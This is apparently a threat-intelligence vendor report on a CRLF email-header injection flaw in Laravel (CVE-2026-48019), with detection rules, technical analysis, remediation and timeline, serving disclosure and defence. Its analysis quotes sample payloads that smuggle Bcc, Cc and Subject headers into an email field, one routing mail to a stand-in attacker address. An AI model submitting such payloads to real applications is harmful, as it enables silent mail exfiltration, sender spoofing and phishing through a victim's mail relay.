Skip to navigation

Threat reportVulnerabilityTL-2026-0677

Laravel Framework CRLF Injection (CVE-2026-48019) — Outbound Email Header/Content Manipulation (CWE-93)

highACTIVE

Improper neutralization of CRLF sequences in Laravel's default email validation logic allows an unauthenticated attacker to inject additional recipients and headers, modify message bodies, and abuse the application's mail relay when attacker-controlled email input reaches Symfony Mailer/Mime. Patched in Laravel 13.10.0 and 12.60.0.

Key facts

IdentifiersTL-2026-0677, CVE-2026-48019
Also known asGHSA-5vg9-5847-vvmq, Laravel CRLF Email Injection
SeverityHIGH
CVSS8.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L)
EPSSCVE-2026-48019: 0.5% (41.7th percentile)
Affected productsLaravel Laravel Framework; Symfony Symfony Mailer / Symfony Mime
Weaknesses (CWE)CWE-93
MITRE ATT&CK techniquesT1048 Exfiltration Over Alternative Protocol, T1071 Application Layer Protocol, T1114 Email Collection, T1190 Exploit Public-Facing Application, T1566 Phishing, T1583 Acquire Infrastructure, T1659 Content Injection, T1684.001 Impersonation
MotivationUNKNOWN
Target sectorstechnology, saas, ecommerce, financial, healthcare, government, media
Target regionsGlobal
Detection rules9 (1 shown free)
Sources6 cited sources

Detection coverage

As of 2026-06-03, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0677 across Splunk SPL, Microsoft KQL and Sigma, covering 12 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Laravel CRLF Injection — Injected Outbound Recipients/Headers (Post-Exploitation)

Detects the post-injection artifact of CVE-2026-48019: an outbound envelope from a single-recipient transactional flow that gained extra recipients or application-unset Bcc/Cc/Reply-To headers after the CRLF payload reached Symfony Mailer/Mime — silent exfiltration and sender/Reply-To spoofing.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1114, T1659, T1656
  • Data sources: mail_gateway, smtp_logs, application_mail_log
  • Severity: high
  • Confidence: high

Splunk SPL

index=mail sourcetype="mailgw:envelope" (flow=registration OR flow=password_reset OR flow=contact_form OR flow=newsletter) ``` CVE-2026-48019 post-injection artifact: single-recipient transactional flow that gained extra recipients or app-unset Bcc/Cc/Reply-To ``` | eval injected=if(injected_headers=="true" OR recipient_count>1,1,0) | where injected=1 | eval inj_type=case(recipient_count>1,"recipient_injection",isnotnull(headers.Bcc),"bcc_injection",isnotnull(headers.Cc),"cc_injection",isnotnull(headers.Reply-To),"replyto_spoof",1==1,"header_injection") | stats count values(envelope_recipients) as recipients values(inj_type) as inj_types values(headers) as hdrs by _time flow src | sort - _time

Microsoft KQL

MailEnvelope_CL
| where TimeGenerated > ago(24h)
| where Flow_s in ("registration","password_reset","contact_form","newsletter")
// CVE-2026-48019: single-recipient flow that gained recipients or app-unset Bcc/Cc/Reply-To
| where InjectedHeaders_b == true or RecipientCount_d > 1
| extend inj_type = case(RecipientCount_d > 1, "recipient_injection",
                         isnotempty(Bcc_s), "bcc_injection",
                         isnotempty(ReplyTo_s), "replyto_spoof", "header_injection")
| project TimeGenerated, Flow_s, RecipientCount_d, EnvelopeRecipients_s, Bcc_s, ReplyTo_s, inj_type, SourceIp_s
| sort by TimeGenerated desc

Sigma

title: Laravel Outbound Mail With Injected Recipients/Headers From Single-Recipient Flow (CVE-2026-48019)
id: c4f1a210-0002-4d20-9e21-c0ffee260677
status: experimental
description: Detects an outbound message produced by a single-recipient application flow (registration, password_reset, contact_form, newsletter) whose envelope carries more than one recipient or application-unset Bcc/Cc/Reply-To headers. This is the post-injection artifact of CVE-2026-48019 CRLF header injection reaching Symfony Mailer/Mime.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48019
    - https://github.com/advisories/GHSA-5vg9-5847-vvmq
author: Threadlinqs Team
date: 2026/06/03
tags:
    - attack.collection
    - attack.t1114
    - attack.t1659
    - attack.t1656
    - cve.2026.48019
logsource:
    product: mail_gateway
    category: application
detection:
    selection_flow:
        flow:
            - 'registration'
            - 'password_reset'
            - 'contact_form'
            - 'newsletter'
    selection_injected:
        injected_headers: true
    selection_multi:
        recipient_count|gt: 1
    condition: selection_flow and (selection_injected or selection_multi)
falsepositives:
    - Flows legitimately configured with a static Bcc (archival/journaling) — baseline and allowlist those
level: high

Known false positives:

  • Flows legitimately configured with a static archival/journaling Bcc
  • Cross-org notification flows with approved additional recipients

Tuning notes: Baseline each transactional flow's normal recipient count and any sanctioned static Bcc (journaling). Allowlist those before alerting on recipient_count>1 / injected_headers=true.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • Laravel CRLF Email Injection — Sentinel WAF CRLF Detection (Exploitation) · unlock with TL Creds
  • Laravel CRLF Injection — Sentinel Injected Mail Envelope (Post-Exploitation) · unlock with TL Creds
  • Laravel CRLF Injection — Sentinel Mail-Relay Abuse Spike (C2/Lateral Movement) · unlock with TL Creds
  • Laravel CRLF Email Parameter Control Characters — Sigma (Exploitation) · unlock with TL Creds
  • Laravel CRLF Injection — Injected Outbound Recipients/Headers — Sigma (Post-Exploitation) · unlock with TL Creds
  • Laravel CRLF Injection — Exfiltration Bcc/Reply-To To Untrusted Domain — Sigma (C2/Exfiltration) · unlock with TL Creds
  • Laravel CRLF Email-Header Injection — Inbound Payload (Exploitation) · unlock with TL Creds
  • Laravel CRLF Injection — Mail-Relay Abuse Volume Spike (C2/Lateral Movement) · unlock with TL Creds

Indicators of compromise

As of 2026-06-03, Threadlinqs Intelligence tracks 12 indicators of compromise for TL-2026-0677.

12 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

CVE-2026-48019 is a CRLF (carriage-return/line-feed) injection vulnerability (CWE-93) in the Laravel PHP framework's default email validation logic. User-supplied email address values submitted through common application surfaces — registration, password reset, contact, newsletter, and notification flows — are insufficiently sanitized for embedded carriage-return (\r, %0d) and line-feed (\n, %0a) control characters before they are passed to the underlying Symfony Mailer and Symfony Mime components that Laravel uses for message construction and delivery.

Because email headers are newline-delimited, an attacker who embeds CRLF sequences into an address field can break out of the intended field boundary and append arbitrary additional headers or message content. Representative payloads such as 'victim@example.com\r\nBcc: attacker@evil.com' or 'victim@example.com%0d%0aCc: list@target.com%0d%0aSubject: Spoofed' cause the mail layer to emit additional recipients (Bcc/Cc), spoofed or duplicated headers (Reply-To, Content-Type, MIME boundaries), and in some configurations attacker-controlled body content. The practical impact set is: (1) silent recipient injection enabling exfiltration of outbound mail to an attacker mailbox, (2) header manipulation enabling sender/Reply-To spoofing and routing changes, (3) body/MIME manipulation, and (4) mail-relay abuse in which the victim application's trusted, authenticated, well-reputed mail infrastructure is leveraged to send phishing or spam that inherits the victim domain's SPF/DKIM/DMARC alignment.

The vulnerability is network-exploitable with no authentication and no user interaction. The assigned CVSS v3.1 vector (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L, base 8.9 HIGH) reflects a scope change — the flaw in the web application crosses a trust boundary into the separate mail-delivery system and its downstream recipients — with high confidentiality and integrity impact and low availability impact. Attack complexity is rated High because successful injection depends on the specific application code path that forwards the unsanitized address into the mail builder and on the absence of upstream input filtering.

The issue was disclosed via GitHub Security Advisory GHSA-5vg9-5847-vvmq and credited to researcher OmarXtream. It affects Laravel up to 13.9.0 and all versions before 12.60.0, and is fixed in 13.10.0 and 12.60.0, which tighten neutralization of control characters in the email validation/normalization path before values reach Symfony Mailer/Mime. At the time of analysis there is no confirmed public proof-of-concept and no observed in-the-wild exploitation; however, CRLF/email-header injection is a well-understood, low-tooling class and the affected framework is extremely widely deployed, so defenders should treat exposed unpatched instances as readily exploitable. There are no network C2 indicators associated with this vulnerability; detection focuses on outbound-mail anomalies and inbound payload patterns.

MITRE ATT&CK techniques by tactic:

Exfiltration

T1048 Exfiltration Over Alternative Protocol

Command and Control

T1071 Application Layer Protocol

Collection

T1114 Email Collection

Initial Access

T1190 Exploit Public-Facing Application; T1566 Phishing; T1659 Content Injection

Resource Development

T1583 Acquire Infrastructure

Defense Evasion

T1684.001 Impersonation

Remediation

Patches

  • Laravel framework 13.10.0
  • Laravel framework 12.60.0

Immediate actions

  • Upgrade Laravel to 13.10.0 (13.x branch) or 12.60.0 (12.x branch) or later immediately
  • Reject any user-supplied email field containing CR (\r / %0d), LF (\n / %0a), or other control characters at the application input boundary
  • Audit recent outbound mail logs for unexpected Bcc/Cc recipients, duplicated headers, or anomalous Reply-To/Subject values

Workarounds

  • Apply a global input filter / FormRequest rule stripping or rejecting CRLF in email inputs until upgrade is possible
  • Disable or gate unauthenticated mail-triggering endpoints (contact/newsletter) pending patch

Longer-term hardening

  • Enforce strict RFC-compliant email validation (single address, no control characters) on all mail-bearing input across the codebase
  • Constrain the application's SMTP relay to expected recipient volumes and domains; alert on outbound spikes
  • Harden SPF/DKIM/DMARC and monitor for abuse of the sending domain's reputation
  • Add WAF rules blocking %0d/%0a and raw CRLF in parameters that map to email fields

Affected and fixed versions

  • Laravel — Laravel Framework
    Vulnerable versions: <= 13.9.0; < 12.60.0
    Fixed in: 13.10.0; 12.60.0
  • Symfony — Symfony Mailer / Symfony Mime
    Vulnerable versions: used by affected Laravel mail path
    Fixed in: mitigated via Laravel validation fix

Timeline

  • Laravel framework releases 13.10.0 and 12.60.0 published with the fix tightening neutralization of CRLF/control characters in the email validation path.
  • GitHub Security Advisory GHSA-5vg9-5847-vvmq published disclosing the Laravel CRLF email injection vulnerability, credited to researcher OmarXtream.
  • Researcher completed deep analysis: exploit-chain mapping (recipient/header/body injection, relay abuse), MITRE mapping, and IOC/detection scoping.
  • Threat ingested into Threadlinqs Intelligence pipeline (TL-2026-0677); no confirmed public PoC or in-the-wild exploitation at intake.
  • Public technical reporting by Cyber Security News, GBHackers, and Cyberpress describing header/recipient injection and mail-relay abuse impact.
  • CVE-2026-48019 referenced for the vulnerability with CVSS v3.1 vector AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L (base 8.9, HIGH).

Sources cited

Previous and next in vulnerability

Drafted by the Threadlinqs research pipeline from 6 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats